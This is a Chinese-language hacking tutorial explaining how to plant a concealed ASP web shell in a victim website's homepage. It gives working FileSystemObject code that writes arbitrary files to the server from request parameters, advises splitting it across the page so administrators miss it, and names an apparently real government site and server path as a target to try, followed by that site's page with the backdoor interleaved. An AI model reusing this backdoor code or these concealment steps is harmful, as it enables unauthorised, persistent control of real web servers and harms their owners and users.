插入式免杀后门–将后门放到对方主页里

1.随便找他一个页面，然后把如下内容分开插入到它的主页了，注意一下上下文。内容（fso):

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "save Success!" %>
<% else %>
<% response.write "Save UnSuccess!" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>

最好要分开插入！！
这样管理员也不容易发现。
2.
将下内容保存到本地为一个htm，并把action="#",改成你插入到的页面，再添下绝对路径就好了。你要知道路径！！内容：

注：此方法为巩固后门使用！！！

有人说不行？？？？

大家可以把上内容的action改成"http://www.bjhi.gov.cn/web/biaozhun/index.asp";
路径添"E:\inetpub\bjhi\web\biaozhun\xxxx.asp"
试下
最后用"http://www.bjhi.gov.cn/web/biaozhun/xxxx.asp";访问看看！！

改后的index.asp：

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>

<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>

　　你的位置：>> 综合主页
>> 标准规范

<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>

&nbs<% if err =0 then %>
<% response.write "save Success!" %>
<% else %>
<% response.write "Save UnSuccess!" %>
<% end if %>p;

<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> <% set rs=server.createobject("adodb.recordset") rs.open "select * from border",conn,1,1%>
<% err.clear %>

<% border="" color=1 number=15 '默认值 auditer=0 articlefrom="" set rs=server.createobject("adodb.recordset") rs.open "select * from info where typeid=2 and bz_sh=1 order by date desc ",conn,1,1 if err.number <> 0 then
response.write "数据库出错"
else
if rs.bof and rs.eof then
rs.close
response.write "该专栏目前没有信息服务内容"
else

if request("page")="" then
curpage = 1
else
curpage = cint(request("page"))
end if
if request("num")="" then
num = 1
else
num = cint(request("num"))
end if
rs.pagesize=cint(number)
rs.absolutepage = curpage
thisnumcol=cstr(rs.recordcount)-num
prenum=cstr(rs.recordcount)-thisnumcol-15

for i = 1 to rs.pagesize
%>

<% rs.movenext num=num+1 color=color+1 if rs.eof then i = i + 1 exit for end if next %>

<%Response.Write (num)%>

"> <%=trim(rs("title"))%>

">
" onClick="return newpage(this.href);">查看详情

<% endnum=cstr(rs.recordcount)-(cstr(rs.recordcount) mod 15)+1 response.write "

"
response.write "第" + cstr(curpage) + "页/总" + cstr(rs.pagecount) + "页 "
response.write "本页" + cstr(i-1) + "条/总" + cstr(rs.recordcount) + "条 "
if curpage = 1 then
response.write "首页前页 "
else
response.write "首页前页 "
end if
if curpage = rs.pagecount then
response.write "后页末页"
else
response.write "后页末页"
end if
end If
end if
'?typeid=" & cstr(request("typeid")) & "&borderid=" & cstr(request("borderid")) & "& page=1'>
response.write "

"%>

插入式免杀后门–将后门放到对方主页里

相关文章

网站统计